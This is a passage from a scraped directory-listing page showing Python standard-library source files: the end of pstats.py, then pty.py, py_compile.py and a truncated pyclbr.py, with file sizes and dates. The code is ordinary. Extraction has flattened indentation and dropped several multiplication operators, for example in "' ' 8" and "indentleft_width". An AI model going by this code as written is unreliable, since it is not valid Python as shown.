of the function'. Look at the two tables in sort_stats() and get_sort_arg_defs(self) for more examples. All methods return self, so you can string together commands like: Stats('foo', 'goo').strip_dirs().sort_stats('calls').\ print_stats(5).print_callers(5) """ def __init__(self, args, stream=None): self.stream = stream or sys.stdout if not len(args): arg = None else: arg = args[0] args = args[1:] self.init(arg) self.add(args) def init(self, arg): self.all_callees = None # calc only if needed self.files = [] self.fcn_list = None self.total_tt = 0 self.total_calls = 0 self.prim_calls = 0 self.max_name_len = 0 self.top_level = set() self.stats = {} self.sort_arg_dict = {} self.load_stats(arg) try: self.get_top_level_stats() except Exception: print("Invalid timing data %s" % (self.files[-1] if self.files else ''), file=self.stream) raise def load_stats(self, arg): if arg is None: self.stats = {} return elif isinstance(arg, str): with open(arg, 'rb') as f: self.stats = marshal.load(f) try: file_stats = os.stat(arg) arg = time.ctime(file_stats.st_mtime) + " " + arg except: # in case this is not unix pass self.files = [arg] elif hasattr(arg, 'create_stats'): arg.create_stats() self.stats = arg.stats arg.stats = {} if not self.stats: raise TypeError("Cannot create or construct a %r object from %r" % (self.__class__, arg)) return def get_top_level_stats(self): for func, (cc, nc, tt, ct, callers) in self.stats.items(): self.total_calls += nc self.prim_calls += cc self.total_tt += tt if ("jprofile", 0, "profiler") in callers: self.top_level.add(func) if len(func_std_string(func)) > self.max_name_len: self.max_name_len = len(func_std_string(func)) def add(self, arg_list): if not arg_list: return self for item in reversed(arg_list): if type(self) != type(item): item = Stats(item) self.files += item.files self.total_calls += item.total_calls self.prim_calls += item.prim_calls self.total_tt += item.total_tt for func in item.top_level: self.top_level.add(func) if self.max_name_len < item.max_name_len: self.max_name_len = item.max_name_len self.fcn_list = None for func, stat in item.stats.items(): if func in self.stats: old_func_stat = self.stats[func] else: old_func_stat = (0, 0, 0, 0, {},) self.stats[func] = add_func_stats(old_func_stat, stat) return self def dump_stats(self, filename): """Write the profile data to a file we know how to load back.""" with open(filename, 'wb') as f: marshal.dump(self.stats, f) # list the tuple indices and directions for sorting, # along with some printable description sort_arg_dict_default = { "calls" : (((1,-1), ), "call count"), "ncalls" : (((1,-1), ), "call count"), "cumtime" : (((3,-1), ), "cumulative time"), "cumulative": (((3,-1), ), "cumulative time"), "filename" : (((4, 1), ), "file name"), "line" : (((5, 1), ), "line number"), "module" : (((4, 1), ), "file name"), "name" : (((6, 1), ), "function name"), "nfl" : (((6, 1),(4, 1),(5, 1),), "name/file/line"), "pcalls" : (((0,-1), ), "primitive call count"), "stdname" : (((7, 1), ), "standard name"), "time" : (((2,-1), ), "internal time"), "tottime" : (((2,-1), ), "internal time"), } def get_sort_arg_defs(self): """Expand all abbreviations that are unique.""" if not self.sort_arg_dict: self.sort_arg_dict = dict = {} bad_list = {} for word, tup in self.sort_arg_dict_default.items(): fragment = word while fragment: if not fragment: break if fragment in dict: bad_list[fragment] = 0 break dict[fragment] = tup fragment = fragment[:-1] for word in bad_list: del dict[word] return self.sort_arg_dict def sort_stats(self, field): if not field: self.fcn_list = 0 return self if len(field) == 1 and isinstance(field[0], int): # Be compatible with old profiler field = [ {-1: "stdname", 0: "calls", 1: "time", 2: "cumulative"}[field[0]] ] elif len(field) >= 2: for arg in field[1:]: if type(arg) != type(field[0]): raise TypeError("Can't have mixed argument type") sort_arg_defs = self.get_sort_arg_defs() sort_tuple = () self.sort_type = "" connector = "" for word in field: if isinstance(word, SortKey): word = word.value sort_tuple = sort_tuple + sort_arg_defs[word][0] self.sort_type += connector + sort_arg_defs[word][1] connector = ", " stats_list = [] for func, (cc, nc, tt, ct, callers) in self.stats.items(): stats_list.append((cc, nc, tt, ct) + func + (func_std_string(func), func)) stats_list.sort(key=cmp_to_key(TupleComp(sort_tuple).compare)) self.fcn_list = fcn_list = [] for tuple in stats_list: fcn_list.append(tuple[-1]) return self def reverse_order(self): if self.fcn_list: self.fcn_list.reverse() return self def strip_dirs(self): oldstats = self.stats self.stats = newstats = {} max_name_len = 0 for func, (cc, nc, tt, ct, callers) in oldstats.items(): newfunc = func_strip_path(func) if len(func_std_string(newfunc)) > max_name_len: max_name_len = len(func_std_string(newfunc)) newcallers = {} for func2, caller in callers.items(): newcallers[func_strip_path(func2)] = caller if newfunc in newstats: newstats[newfunc] = add_func_stats( newstats[newfunc], (cc, nc, tt, ct, newcallers)) else: newstats[newfunc] = (cc, nc, tt, ct, newcallers) old_top = self.top_level self.top_level = new_top = set() for func in old_top: new_top.add(func_strip_path(func)) self.max_name_len = max_name_len self.fcn_list = None self.all_callees = None return self def calc_callees(self): if self.all_callees: return self.all_callees = all_callees = {} for func, (cc, nc, tt, ct, callers) in self.stats.items(): if not func in all_callees: all_callees[func] = {} for func2, caller in callers.items(): if not func2 in all_callees: all_callees[func2] = {} all_callees[func2][func] = caller return #*************************************************************** # The following functions support actual printing of reports #**************************************************************** # Optional "amount" is either a line count, or a percentage of lines. def eval_print_amount(self, sel, list, msg): new_list = list if isinstance(sel, str): try: rex = re.compile(sel) except re.error: msg += " <Invalid regular expression %r>\n" % sel return new_list, msg new_list = [] for func in list: if rex.search(func_std_string(func)): new_list.append(func) else: count = len(list) if isinstance(sel, float) and 0.0 <= sel < 1.0: count = int(count * sel + .5) new_list = list[:count] elif isinstance(sel, int) and 0 <= sel < count: count = sel new_list = list[:count] if len(list) != len(new_list): msg += " List reduced from %r to %r due to restriction <%r>\n" % ( len(list), len(new_list), sel) return new_list, msg def get_print_list(self, sel_list): width = self.max_name_len if self.fcn_list: stat_list = self.fcn_list[:] msg = " Ordered by: " + self.sort_type + '\n' else: stat_list = list(self.stats.keys()) msg = " Random listing order was used\n" for selection in sel_list: stat_list, msg = self.eval_print_amount(selection, stat_list, msg) count = len(stat_list) if not stat_list: return 0, stat_list print(msg, file=self.stream) if count < len(self.stats): width = 0 for func in stat_list: if len(func_std_string(func)) > width: width = len(func_std_string(func)) return width+2, stat_list def print_stats(self, amount): for filename in self.files: print(filename, file=self.stream) if self.files: print(file=self.stream) indent = ' ' 8 for func in self.top_level: print(indent, func_get_function_name(func), file=self.stream) print(indent, self.total_calls, "function calls", end=' ', file=self.stream) if self.total_calls != self.prim_calls: print("(%d primitive calls)" % self.prim_calls, end=' ', file=self.stream) print("in %.3f seconds" % self.total_tt, file=self.stream) print(file=self.stream) width, list = self.get_print_list(amount) if list: self.print_title() for func in list: self.print_line(func) print(file=self.stream) print(file=self.stream) return self def print_callees(self, amount): width, list = self.get_print_list(amount) if list: self.calc_callees() self.print_call_heading(width, "called...") for func in list: if func in self.all_callees: self.print_call_line(width, func, self.all_callees[func]) else: self.print_call_line(width, func, {}) print(file=self.stream) print(file=self.stream) return self def print_callers(self, amount): width, list = self.get_print_list(amount) if list: self.print_call_heading(width, "was called by...") for func in list: cc, nc, tt, ct, callers = self.stats[func] self.print_call_line(width, func, callers, "<-") print(file=self.stream) print(file=self.stream) return self def print_call_heading(self, name_size, column_title): print("Function ".ljust(name_size) + column_title, file=self.stream) # print sub-header only if we have new-style callers subheader = False for cc, nc, tt, ct, callers in self.stats.values(): if callers: value = next(iter(callers.values())) subheader = isinstance(value, tuple) break if subheader: print(" "name_size + " ncalls tottime cumtime", file=self.stream) def print_call_line(self, name_size, source, call_dict, arrow="->"): print(func_std_string(source).ljust(name_size) + arrow, end=' ', file=self.stream) if not call_dict: print(file=self.stream) return clist = sorted(call_dict.keys()) indent = "" for func in clist: name = func_std_string(func) value = call_dict[func] if isinstance(value, tuple): nc, cc, tt, ct = value if nc != cc: substats = '%d/%d' % (nc, cc) else: substats = '%d' % (nc,) substats = '%s %s %s %s' % (substats.rjust(7+2len(indent)), f8(tt), f8(ct), name) left_width = name_size + 1 else: substats = '%s(%r) %s' % (name, value, f8(self.stats[func][3])) left_width = name_size + 3 print(indentleft_width + substats, file=self.stream) indent = " " def print_title(self): print(' ncalls tottime percall cumtime percall', end=' ', file=self.stream) print('filename:lineno(function)', file=self.stream) def print_line(self, func): # hack: should print percentages cc, nc, tt, ct, callers = self.stats[func] c = str(nc) if nc != cc: c = c + '/' + str(cc) print(c.rjust(9), end=' ', file=self.stream) print(f8(tt), end=' ', file=self.stream) if nc == 0: print(' '8, end=' ', file=self.stream) else: print(f8(tt/nc), end=' ', file=self.stream) print(f8(ct), end=' ', file=self.stream) if cc == 0: print(' '8, end=' ', file=self.stream) else: print(f8(ct/cc), end=' ', file=self.stream) print(func_std_string(func), file=self.stream) class TupleComp: """This class provides a generic function for comparing any two tuples. Each instance records a list of tuple-indices (from most significant to least significant), and sort direction (ascending or decending) for each tuple-index. The compare functions can then be used as the function argument to the system sort() function when a list of tuples need to be sorted in the instances order.""" def __init__(self, comp_select_list): self.comp_select_list = comp_select_list def compare (self, left, right): for index, direction in self.comp_select_list: l = left[index] r = right[index] if l < r: return -direction if l > r: return direction return 0 #*********************************************************************** # func_name is a triple (file:string, line:int, name:string) def func_strip_path(func_name): filename, line, name = func_name return os.path.basename(filename), line, name def func_get_function_name(func): return func[2] def func_std_string(func_name): # match what old profile produced if func_name[:2] == ('~', 0): # special case for built-in functions name = func_name[2] if name.startswith('<') and name.endswith('>'): return '{%s}' % name[1:-1] else: return name else: return "%s:%d(%s)" % func_name #********************************************************************** # The following functions combine statistics for pairs functions. # The bulk of the processing involves correctly handling "call" lists, # such as callers and callees. #********************************************************************** def add_func_stats(target, source): """Add together all the stats for two profile entries.""" cc, nc, tt, ct, callers = source t_cc, t_nc, t_tt, t_ct, t_callers = target return (cc+t_cc, nc+t_nc, tt+t_tt, ct+t_ct, add_callers(t_callers, callers)) def add_callers(target, source): """Combine two caller lists in a single list.""" new_callers = {} for func, caller in target.items(): new_callers[func] = caller for func, caller in source.items(): if func in new_callers: if isinstance(caller, tuple): # format used by cProfile new_callers[func] = tuple(i + j for i, j in zip(caller, new_callers[func])) else: # format used by profile new_callers[func] += caller else: new_callers[func] = caller return new_callers def count_calls(callers): """Sum the caller statistics to get total number of calls received.""" nc = 0 for calls in callers.values(): nc += calls return nc #********************************************************************** # The following functions support printing of reports #********************************************************************** def f8(x): return "%8.3f" % x #********************************************************************** # Statistics browser added by ESR, April 2001 #************************************************************************ if __name__ == '__main__': import cmd try: import readline except ImportError: pass class ProfileBrowser(cmd.Cmd): def __init__(self, profile=None): cmd.Cmd.__init__(self) self.prompt = "% " self.stats = None self.stream = sys.stdout if profile is not None: self.do_read(profile) def generic(self, fn, line): args = line.split() processed = [] for term in args: try: processed.append(int(term)) continue except ValueError: pass try: frac = float(term) if frac > 1 or frac < 0: print("Fraction argument must be in [0, 1]", file=self.stream) continue processed.append(frac) continue except ValueError: pass processed.append(term) if self.stats: getattr(self.stats, fn)(processed) else: print("No statistics object is loaded.", file=self.stream) return 0 def generic_help(self): print("Arguments may be:", file=self.stream) print(" An integer maximum number of entries to print.", file=self.stream) print("* A decimal fractional number between 0 and 1, controlling", file=self.stream) print(" what fraction of selected entries to print.", file=self.stream) print("* A regular expression; only entries with function names", file=self.stream) print(" that match it are printed.", file=self.stream) def do_add(self, line): if self.stats: try: self.stats.add(line) except OSError as e: print("Failed to load statistics for %s: %s" % (line, e), file=self.stream) else: print("No statistics object is loaded.", file=self.stream) return 0 def help_add(self): print("Add profile info from given file to current statistics object.", file=self.stream) def do_callees(self, line): return self.generic('print_callees', line) def help_callees(self): print("Print callees statistics from the current stat object.", file=self.stream) self.generic_help() def do_callers(self, line): return self.generic('print_callers', line) def help_callers(self): print("Print callers statistics from the current stat object.", file=self.stream) self.generic_help() def do_EOF(self, line): print("", file=self.stream) return 1 def help_EOF(self): print("Leave the profile brower.", file=self.stream) def do_quit(self, line): return 1 def help_quit(self): print("Leave the profile brower.", file=self.stream) def do_read(self, line): if line: try: self.stats = Stats(line) except OSError as err: print(err.args[1], file=self.stream) return except Exception as err: print(err.__class__.__name__ + ':', err, file=self.stream) return self.prompt = line + "% " elif len(self.prompt) > 2: line = self.prompt[:-2] self.do_read(line) else: print("No statistics object is current -- cannot reload.", file=self.stream) return 0 def help_read(self): print("Read in profile data from a specified file.", file=self.stream) print("Without argument, reload the current file.", file=self.stream) def do_reverse(self, line): if self.stats: self.stats.reverse_order() else: print("No statistics object is loaded.", file=self.stream) return 0 def help_reverse(self): print("Reverse the sort order of the profiling report.", file=self.stream) def do_sort(self, line): if not self.stats: print("No statistics object is loaded.", file=self.stream) return abbrevs = self.stats.get_sort_arg_defs() if line and all((x in abbrevs) for x in line.split()): self.stats.sort_stats(line.split()) else: print("Valid sort keys (unique prefixes are accepted):", file=self.stream) for (key, value) in Stats.sort_arg_dict_default.items(): print("%s -- %s" % (key, value[1]), file=self.stream) return 0 def help_sort(self): print("Sort profile data according to specified keys.", file=self.stream) print("(Typing `sort' without arguments lists valid keys.)", file=self.stream) def complete_sort(self, text, args): return [a for a in Stats.sort_arg_dict_default if a.startswith(text)] def do_stats(self, line): return self.generic('print_stats', line) def help_stats(self): print("Print statistics from the current stat object.", file=self.stream) self.generic_help() def do_strip(self, line): if self.stats: self.stats.strip_dirs() else: print("No statistics object is loaded.", file=self.stream) def help_strip(self): print("Strip leading path information from filenames in the report.", file=self.stream) def help_help(self): print("Show help for a given command.", file=self.stream) def postcmd(self, stop, line): if stop: return stop return None if len(sys.argv) > 1: initprofile = sys.argv[1] else: initprofile = None try: browser = ProfileBrowser(initprofile) for profile in sys.argv[2:]: browser.do_add(profile) print("Welcome to the profile statistics browser.", file=browser.stream) browser.cmdloop() print("Goodbye.", file=browser.stream) except KeyboardInterrupt: pass # That's all, folks.	26.67 KB	2024-04-17 17:55
📄 pty.py """Pseudo terminal utilities.""" # Bugs: No signal handling. Doesn't set slave termios and window size. # Only tested on Linux. # See: W. Richard Stevens. 1992. Advanced Programming in the # UNIX Environment. Chapter 19. # Author: Steen Lumholt -- with additions by Guido. from select import select import os import tty __all__ = ["openpty","fork","spawn"] STDIN_FILENO = 0 STDOUT_FILENO = 1 STDERR_FILENO = 2 CHILD = 0 def openpty(): """openpty() -> (master_fd, slave_fd) Open a pty master/slave pair, using os.openpty() if possible.""" try: return os.openpty() except (AttributeError, OSError): pass master_fd, slave_name = _open_terminal() slave_fd = slave_open(slave_name) return master_fd, slave_fd def master_open(): """master_open() -> (master_fd, slave_name) Open a pty master and return the fd, and the filename of the slave end. Deprecated, use openpty() instead.""" try: master_fd, slave_fd = os.openpty() except (AttributeError, OSError): pass else: slave_name = os.ttyname(slave_fd) os.close(slave_fd) return master_fd, slave_name return _open_terminal() def _open_terminal(): """Open pty master and return (master_fd, tty_name).""" for x in 'pqrstuvwxyzPQRST': for y in '0123456789abcdef': pty_name = '/dev/pty' + x + y try: fd = os.open(pty_name, os.O_RDWR) except OSError: continue return (fd, '/dev/tty' + x + y) raise OSError('out of pty devices') def slave_open(tty_name): """slave_open(tty_name) -> slave_fd Open the pty slave and acquire the controlling terminal, returning opened filedescriptor. Deprecated, use openpty() instead.""" result = os.open(tty_name, os.O_RDWR) try: from fcntl import ioctl, I_PUSH except ImportError: return result try: ioctl(result, I_PUSH, "ptem") ioctl(result, I_PUSH, "ldterm") except OSError: pass return result def fork(): """fork() -> (pid, master_fd) Fork and make the child a session leader with a controlling terminal.""" try: pid, fd = os.forkpty() except (AttributeError, OSError): pass else: if pid == CHILD: try: os.setsid() except OSError: # os.forkpty() already set us session leader pass return pid, fd master_fd, slave_fd = openpty() pid = os.fork() if pid == CHILD: # Establish a new session. os.setsid() os.close(master_fd) # Slave becomes stdin/stdout/stderr of child. os.dup2(slave_fd, STDIN_FILENO) os.dup2(slave_fd, STDOUT_FILENO) os.dup2(slave_fd, STDERR_FILENO) if (slave_fd > STDERR_FILENO): os.close (slave_fd) # Explicitly open the tty to make it become a controlling tty. tmp_fd = os.open(os.ttyname(STDOUT_FILENO), os.O_RDWR) os.close(tmp_fd) else: os.close(slave_fd) # Parent and child process. return pid, master_fd def _writen(fd, data): """Write all the data to a descriptor.""" while data: n = os.write(fd, data) data = data[n:] def _read(fd): """Default read function.""" return os.read(fd, 1024) def _copy(master_fd, master_read=_read, stdin_read=_read): """Parent copy loop. Copies pty master -> standard output (master_read) standard input -> pty master (stdin_read)""" fds = [master_fd, STDIN_FILENO] while True: rfds, wfds, xfds = select(fds, [], []) if master_fd in rfds: data = master_read(master_fd) if not data: # Reached EOF. fds.remove(master_fd) else: os.write(STDOUT_FILENO, data) if STDIN_FILENO in rfds: data = stdin_read(STDIN_FILENO) if not data: fds.remove(STDIN_FILENO) else: _writen(master_fd, data) def spawn(argv, master_read=_read, stdin_read=_read): """Create a spawned process.""" if type(argv) == type(''): argv = (argv,) pid, master_fd = fork() if pid == CHILD: os.execlp(argv[0], *argv) try: mode = tty.tcgetattr(STDIN_FILENO) tty.setraw(STDIN_FILENO) restore = 1 except tty.error: # This is the same as termios.error restore = 0 try: _copy(master_fd, master_read, stdin_read) except OSError: if restore: tty.tcsetattr(STDIN_FILENO, tty.TCSAFLUSH, mode) os.close(master_fd) return os.waitpid(pid, 0)[1]	4.65 KB	2024-04-17 17:55
📄 py_compile.py """Routine to "compile" a .py file to a .pyc file. This module has intimate knowledge of the format of .pyc files. """ import enum import importlib._bootstrap_external import importlib.machinery import importlib.util import os import os.path import sys import traceback __all__ = ["compile", "main", "PyCompileError", "PycInvalidationMode"] class PyCompileError(Exception): """Exception raised when an error occurs while attempting to compile the file. To raise this exception, use raise PyCompileError(exc_type,exc_value,file[,msg]) where exc_type: exception type to be used in error message type name can be accesses as class variable 'exc_type_name' exc_value: exception value to be used in error message can be accesses as class variable 'exc_value' file: name of file being compiled to be used in error message can be accesses as class variable 'file' msg: string message to be written as error message If no value is given, a default exception message will be given, consistent with 'standard' py_compile output. message (or default) can be accesses as class variable 'msg' """ def __init__(self, exc_type, exc_value, file, msg=''): exc_type_name = exc_type.__name__ if exc_type is SyntaxError: tbtext = ''.join(traceback.format_exception_only( exc_type, exc_value)) errmsg = tbtext.replace('File "<string>"', 'File "%s"' % file) else: errmsg = "Sorry: %s: %s" % (exc_type_name,exc_value) Exception.__init__(self,msg or errmsg,exc_type_name,exc_value,file) self.exc_type_name = exc_type_name self.exc_value = exc_value self.file = file self.msg = msg or errmsg def __str__(self): return self.msg class PycInvalidationMode(enum.Enum): TIMESTAMP = 1 CHECKED_HASH = 2 UNCHECKED_HASH = 3 def _get_default_invalidation_mode(): if os.environ.get('SOURCE_DATE_EPOCH'): return PycInvalidationMode.CHECKED_HASH else: return PycInvalidationMode.TIMESTAMP def compile(file, cfile=None, dfile=None, doraise=False, optimize=-1, invalidation_mode=None): """Byte-compile one Python source file to Python bytecode. :param file: The source file name. :param cfile: The target byte compiled file name. When not given, this defaults to the PEP 3147/PEP 488 location. :param dfile: Purported file name, i.e. the file name that shows up in error messages. Defaults to the source file name. :param doraise: Flag indicating whether or not an exception should be raised when a compile error is found. If an exception occurs and this flag is set to False, a string indicating the nature of the exception will be printed, and the function will return to the caller. If an exception occurs and this flag is set to True, a PyCompileError exception will be raised. :param optimize: The optimization level for the compiler. Valid values are -1, 0, 1 and 2. A value of -1 means to use the optimization level of the current interpreter, as given by -O command line options. :param invalidation_mode: :return: Path to the resulting byte compiled file. Note that it isn't necessary to byte-compile Python modules for execution efficiency -- Python itself byte-compiles a module when it is loaded, and if it can, writes out the bytecode to the corresponding .pyc file. However, if a Python installation is shared between users, it is a good idea to byte-compile all modules upon installation, since other users may not be able to write in the source directories, and thus they won't be able to write the .pyc file, and then they would be byte-compiling every module each time it is loaded. This can slow down program start-up considerably. See compileall.py for a script/module that uses this module to byte-compile all installed files (or all files in selected directories). Do note that FileExistsError is raised if cfile ends up pointing at a non-regular file or symlink. Because the compilation uses a file renaming, the resulting file would be regular and thus not the same type of file as it was previously. """ if invalidation_mode is None: invalidation_mode = _get_default_invalidation_mode() if cfile is None: if optimize >= 0: optimization = optimize if optimize >= 1 else '' cfile = importlib.util.cache_from_source(file, optimization=optimization) else: cfile = importlib.util.cache_from_source(file) if os.path.islink(cfile): msg = ('{} is a symlink and will be changed into a regular file if ' 'import writes a byte-compiled file to it') raise FileExistsError(msg.format(cfile)) elif os.path.exists(cfile) and not os.path.isfile(cfile): msg = ('{} is a non-regular file and will be changed into a regular ' 'one if import writes a byte-compiled file to it') raise FileExistsError(msg.format(cfile)) loader = importlib.machinery.SourceFileLoader('<py_compile>', file) source_bytes = loader.get_data(file) try: code = loader.source_to_code(source_bytes, dfile or file, _optimize=optimize) except Exception as err: py_exc = PyCompileError(err.__class__, err, dfile or file) if doraise: raise py_exc else: sys.stderr.write(py_exc.msg + '\n') return try: dirname = os.path.dirname(cfile) if dirname: os.makedirs(dirname) except FileExistsError: pass if invalidation_mode == PycInvalidationMode.TIMESTAMP: source_stats = loader.path_stats(file) bytecode = importlib._bootstrap_external._code_to_timestamp_pyc( code, source_stats['mtime'], source_stats['size']) else: source_hash = importlib.util.source_hash(source_bytes) bytecode = importlib._bootstrap_external._code_to_hash_pyc( code, source_hash, (invalidation_mode == PycInvalidationMode.CHECKED_HASH), ) mode = importlib._bootstrap_external._calc_mode(file) importlib._bootstrap_external._write_atomic(cfile, bytecode, mode) return cfile def main(args=None): """Compile several source files. The files named in 'args' (or on the command line, if 'args' is not specified) are compiled and the resulting bytecode is cached in the normal manner. This function does not search a directory structure to locate source files; it only compiles files named explicitly. If '-' is the only parameter in args, the list of files is taken from standard input. """ if args is None: args = sys.argv[1:] rv = 0 if args == ['-']: while True: filename = sys.stdin.readline() if not filename: break filename = filename.rstrip('\n') try: compile(filename, doraise=True) except PyCompileError as error: rv = 1 sys.stderr.write("%s\n" % error.msg) except OSError as error: rv = 1 sys.stderr.write("%s\n" % error) else: for filename in args: try: compile(filename, doraise=True) except PyCompileError as error: # return value to indicate at least one failure rv = 1 sys.stderr.write("%s\n" % error.msg) return rv if __name__ == "__main__": sys.exit(main())	7.81 KB	2024-04-17 17:55
📄 pyclbr.py """Parse a Python module and describe its classes and functions. Parse enough of a Python file to recognize imports and class and function definitions, and to find out the superclasses of a class. The interface consists of a single function: readmodule_ex(module, path=None) where module is the name of a Python module, and path is an optional list of directories where the module is to be searched. If present, path is prepended to the system search path sys.path. The return value is a dictionary. The keys of the dictionary are the names of the classes and functions defined in the module (including classes that are defined via the from XXX import YYY construct). The values are instances of classes Class and Function. One special key/value pair is present for packages: the key '__path__' has a list as its value which contains the package search path. Classes and Functions have a common superclass: _Object. Every instance has the following attributes: module -- name of the module; name -- name of the object; file -- file in which the object is defined; lineno -- line in the file where the object's definition starts; parent -- parent of this object, if any; children -- nested objects contained in this object. The 'children' attribute is a dictionary mapping names to objects. Instances of Function describe functions with the attributes from _Object. Instances of Class describe classes with the attributes from _Object, plus the following: super -- list of super classes (Class instances if possible); methods -- mapping of method names to beginning line numbers. If the name of a super class is not recognized, the corresponding entry in the list of super classes is not a class instance but a string giving the name of the super class. Since import statements are recognized and imported modules are scanned as well, this shouldn't happen often. """ import io import sys import importlib.util import tokenize from token import NAME, DEDENT, OP __all__ = ["readmodule", "readmodule_ex", "Class", "Function"] _modules = {} # Initialize cache of modules we've seen. class _Object: "Informaton about Python class or function." def __init__(self, module, name, file, lineno, parent): self.module = module self.name = name self.file = file self.lineno = lineno self.parent = parent self.children = {} def _addchild(self, name, obj): self.children[name] = obj class Function(_Object): "Information about a Python function, including methods." def __init__(self, module, name, file, lineno, parent=None): _Object.__init__(self, module, name, file, lineno, parent) class Class(_Object): "Information about a Python class." def __init__(self, module, name, super, file, lineno, parent=None): _Object.__init__(self, module, name, file, lineno, parent) self.super = [] if super is None else super self.methods = {} def _addmethod(self, name, lineno): self.methods[name] = lineno def _nest_function(ob, func_name, lineno): "Return a Function after nesting within ob." newfunc = Function(ob.module, func_name, ob.file, lineno, ob) ob._addchild(func_name, newfunc) if isinstance(ob, Class): ob._addmethod(func_name, lineno) return newfunc def _nest_class(ob, class_name, lineno, super=None): "Return a Class after nesting within ob." newclass = Class(ob.module, class_name, super, ob.file, lineno, ob) ob._addchild(class_name, newclass) return newclass def readmodule(module, path=None): """Return Class objects for the top-level classes in module. This is the original interface, before Functions were added. """ res = {} for key, value in _readmodule(module, path or []).items(): if isinstance(value, Class): res[key] = value return res def readmodule_ex(module, path=None): """Return a dictionary with all functions and classes in module. Search for module in PATH + sys.path. If possible, include imported superclasses. Do this by reading source, without importing (and executing) it. """ return _readmodule(module, path or []) def _readmodule(module, path, inpackage=None): """Do the hard work for readmodule[_ex]. If inpackage is given, it must be the dotted name of the package in which we are searching for a submodule, and then PATH must be the package search path; otherwise, we are searching for a top-level module, and path is combined with sys.path. """ # Compute the full module name (prepending inpackage if set). if inpackage is not None: fullmodule = "%s.%s" % (inpackage, module) else: fullmodule = module # Check in the cache. if fullmodule in _modules: return _modules[fullmodule] # Initialize the dict for this module's contents. tree = {} # Check if it is a built-in module; we don't do much for these. if module in sys.builtin_module_names and inpackage is None: _modules[module] = tree return tree # Check for a dotted module name. i = module.rfind('.') if i >= 0: package = module[:i] submodule = module[i+1:] parent = _readmodule(package, path, inpackage) if inpackage is not None: package = "%s.%s" % (inpackage, package) if not '__path__' in parent: raise ImportError('No package named {}'.format(package)) return _readmodule(submodule, parent['__path__'], package) # Search the path for the module. f = None if inpackage is not None: search_path = path else: search_path = path + sys.path spec = importlib.util._find_spec_from_path(fullmodule, search_path) _modules[fullmodule] = tree # Is module a package? if spec.submodule_search_locations is not None: tree['__path__'] = spec.submodule_search_locations try: source = spec.loader.get_source(fullmodule) if source is None: return tree except (AttributeError, ImportError): # If module is not Python source, we cannot do anything. return tree fname = spec.loader.get_filename(fullmodule) return _create_tree(fullmodule, path, fname, source, tree, inpackage) def _create_tree(fullmodule, path, fname, source, tree, inpackage): """Return the tree for a particular module. fullmodule (full module name), inpackage+module, becomes o.module. path is passed to recursive calls of _readmodule. fname becomes o.file. source is tokenized. Imports cause recursive calls to _readmodule. tree is {} or {'__path__': <submodule search locations>}. inpackage, None or string, is passed to recursive calls of _readmodule. The effect of recursive calls is mutation of global _modules. """ f = io.StringIO(source) stack = [] # Initialize stack of (class, indent) pairs. g = tokenize.generate_tokens(f.readline) try: for tokentype, token, start, _end, _line in g: if tokentype == DEDENT: lineno, thisindent = start # Close previous nested classes and defs. while stack and stack[-1][1] >= thisindent: del stack[-1] elif token == 'def': lineno, thisindent = start # Close previous nested classes and defs. while stack and stack[-1][1] >= thisindent: del stack[-1] tokentype, func_name, start = next(g)[0:3] if tokentype != NAME: continue # Skip def with syntax error. cur_func = None if stack: cur_obj = stack[-1][0] cur_func = _nest_function(cur_obj, func_name, lineno) else: # It is just a function. cur_func = Function(fullmodule, func_name, fname, lineno) tree[func_name] = cur_func stack.append((cur_func, thisindent)) elif token == 'class': lineno, thisindent = start # Close previous nested classes and defs. while stack and stack[-1][1] >= thisindent: del stack[-1] tokentype, class_name, start = next(g)[0:3] if tokentype != NAME: continue # Skip class with syntax error. # Parse what follows the class name. tokentype, token, start = next(g)[0:3] inherit = None if token == '(': names = [] # Initialize list of superclasses. level = 1 super = [] # Tokens making up current superclass. while True: tokentype, token, start = next(g)[0:3] if token in (')', ',') and level == 1: n = "".join(super) if n in tree: # We know this super class. n = tree[n] else: c = n.split('.') if len(c) > 1: # Super class form is module.class: # look in module for class. m = c[-2] c = c[-1] if m in _modules: d = _modules[m] if c in d: n = d[c] names.append(n) super = [] if token == '(': level += 1 elif token == ')': level -= 1 if level == 0: break elif token == ',' and level == 1: pass # Only use NAME and OP (== dot) tokens for type name. elif tokentype in (NAME, OP) and level == 1: super.append(token) # Expressions in the base list are not supported. inherit = names if stack: cur_obj = stack[-1][0] cur_class = _nest_class( cur_obj, class_name, lineno, inherit) else: cur_class = Class(fullmodule, class_name, inherit, fname, lineno) tree[class_name] = cur_class stack.append((cur_class, thisindent)) elif token == 'import' and start[1] == 0: modules = _getnamelist(g) for mod, _mod2 in modules: try: # Recursively read the imported module. if inpackage is None: _readmodule(mod, path) else: try: _readmodule(mod, path, inpackage) except ImportError: _readmodule(mod, []) except: # If we can't find or parse the imported module, # too bad -- don't die here. pass elif token == 'from' and start[1] == 0: mod, token = _getname(g) if not mod or token != "import": continue names = _getnamelist(g) try: # Recursively read the imported module. d = _readmodule(mod, path, inpackage) except: # If we can't find or parse the imported module, # too bad -- don't die here. continue # Add any classes that were defined in the imported module # to our name space if they were mentioned in the list. for n, n2 in names: if n in d: tree[n2 or n] = d[n] elif n == '': # Don't add names that start with _. for n in d: if n[0] != '_': tree[n] = d[n] except StopIteration: pass f.close() return tree def _getnamelist(g): """Return list of (dotted-name, as-name or None) tuples for token source g. An as-name is the name that follows 'as' in an as clause. """ names = [] while True: name, token = _getname(g) if not name: break if token == 'as': name2, token = _getname(g) else: name2 = None names.append((name, name2)) while token != "," and "\n" not in token: token = next(g)[1] if token != ",": break return names def _getname(g): "Return (dotted-name or None, next-token) tuple for token source g." parts = [] tokentype, token = next(g)[0:2] if tokentype != NAME and token != '': return (None, token) parts.append(token) while True: tokentype, token = next(g)[0:2] if token != '.': break tokentype, token = next(g)[0:2] if tokentype != NAME: break parts.append(token) return (".".join(parts), token) def _main(): "Print module output (default this file) for quick visual check." import os try: mod = sys.argv[1] except: mod = __file__ if os.path.exists(mod): path = [os.path.dirname(mod)] mod = os.path.basename(mod) if mod.lower().endswith(".py"): mod = mod[:-3] else: path = [] tree = readmodule_ex(mod, path) lineno_key = lambda a: getattr(a, 'lineno', 0) objs = sorted(tree.values(), key=lineno_key, reverse=True) indent_level = 2 while objs: obj = objs.pop() if isinstance(obj, list): # Value is a __path__ key. continue if not hasattr(obj, 'indent'): obj.indent = 0 if isinstance(obj, _Object): new_objs = sorted(obj.children.values(), key=lineno_key, reverse=True) for ob in new_objs: ob.indent = obj.indent + indent_level objs.extend(new_objs) if isinstance(obj, Class): print("{}class {} {} {}" .format(' ' * obj.indent, obj.name, obj.super, obj.lineno)) elif 